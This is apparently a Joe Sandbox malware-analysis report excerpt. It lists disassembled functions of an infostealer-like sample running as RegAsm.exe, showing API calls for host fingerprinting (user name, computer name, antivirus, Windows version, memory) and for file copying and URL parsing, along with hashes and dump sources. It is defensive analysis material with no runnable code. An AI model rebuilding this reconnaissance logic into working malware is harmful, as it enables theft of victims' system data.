Opcode Fuzzy Hash: c76b9356db023fdea971dc893b2b920fd300fe1c02b79897c04016921bfa74e0
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: ab585756b44732b0c52de9de7319f605c52bcc59fa939e737159a870399f43be
Instruction ID: 5196d0f985b73c0c8bd0bad26c43f83b5151f3b6dc85e60399ef39d4da867d2e
Opcode Fuzzy Hash: ab585756b44732b0c52de9de7319f605c52bcc59fa939e737159a870399f43be
Instruction Fuzzy Hash: 6F118671A0011CABCB21EB65DD86FDD73B8AB18704F4004A6B645F7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 8862206487a5735529afe943f838936f5b8579a15e145366872ddc586f9bf33b
Instruction ID: b0b061f5290e25b68b6f7a4002290a0ac05d972f49bd8262d04e688218eddb93
Opcode Fuzzy Hash: 8862206487a5735529afe943f838936f5b8579a15e145366872ddc586f9bf33b
Instruction Fuzzy Hash: 7801A9B1E00218ABEB08DFB4DC45EEEB7B9EF08705F44006AF602D7290EA75D9818759

Function 00410B30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 0041566F Relevance: 7.6, APIs: 5, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue_memset
String ID:
API String ID: 3357907479-0
Opcode ID: 61c845370fa5e20ce0e4bed28fcb2d467033b3eb1257b194b560fd969d8f00f9
Instruction ID: 247fa685f6815e34cff7f8df4b350b2d93bc7a81ee75f5ea83cfe721da60279c
Opcode Fuzzy Hash: 61c845370fa5e20ce0e4bed28fcb2d467033b3eb1257b194b560fd969d8f00f9
Instruction Fuzzy Hash: 6941CE7194011D9FDF24EF60EC86EE8777ABB18309F4004AAB109A31A0EE759FC59F94

Function 0041BC21 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CBEE,?,0041CC7C,00000000,06400000,00000003,00000000,0041757F,.exe,00436C5C), ref: 0041BC6E
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CBEE,?,0041CC7C,00000000,06400000,00000003,00000000), ref: 0041BCA6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: ff1efad9a67633d22899531c3285d4c1b5d125596630838d4b1aaea72c6dc67b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: CA31A2F0504B049FDB348F24A9D4BA37AE8EB15314F108E2FF19682691D33898C49B99

Function 6C11C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C11C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C11C969
GetSystemInfo.KERNEL32(?), ref: 6C11C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C11C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C11C9E2

Memory Dump Source

Source File: 00000002.00000002.2403932845.000000006C101000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C100000, based on PE: true

Associated: 00000002.00000002.2403878262.000000006C100000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404763433.000000006C18E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404821247.000000006C192000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c100000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1368f9b2e9502484c804738c1aab192c06d1e06e293b86f73db36d5ce2662a3f
Instruction ID: 95f8c183abe46582940aa6da9014a428538e0e1674ae746c2e87d31f2c737261
Opcode Fuzzy Hash: 1368f9b2e9502484c804738c1aab192c06d1e06e293b86f73db36d5ce2662a3f
Instruction Fuzzy Hash: 0521FC3174A618ABDB14AA64DC94BAE73B9AF47744F500139F907A7E40DB745C048BA1

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 04dcee5354247dbc29cf1765c19ad916d25bce8febd7e9a612e053264f62c16e
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: 04dcee5354247dbc29cf1765c19ad916d25bce8febd7e9a612e053264f62c16e
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416DC6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416DCD
lstrlenA.KERNEL32(?,0000001C), ref: 00416DD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416E5C

Strings

ERROR, xrefs: 00416E54

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 987378090a3b2abee121885682ea4995d8af358216b926a009c89c00a445330c
Instruction ID: af559da7a52deda925aca90371b7d636d26c87dd73bd3b1907a7f448f6be4e16
Opcode Fuzzy Hash: 987378090a3b2abee121885682ea4995d8af358216b926a009c89c00a445330c
Instruction Fuzzy Hash: 6F119371900509AFCB40FF75D9025DDBBB1BF04308B90513AE414E3591E739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: a5843cda12b70cc7bcbf256d8a6036821e346dccf5e361165451a22e509f8efe
Instruction ID: 00f88837b3f4b8dbd17d966d98a560f1caae43d713f472eddac2d47ecb876e1e
Opcode Fuzzy Hash: a5843cda12b70cc7bcbf256d8a6036821e346dccf5e361165451a22e509f8efe
Instruction Fuzzy Hash: D8F0B471600218ABDB24EB68DC45FEE7BBC9B48B08F00006AF645D7180EEB5DAC5CB55

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437414,0043681B,?,?,?), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

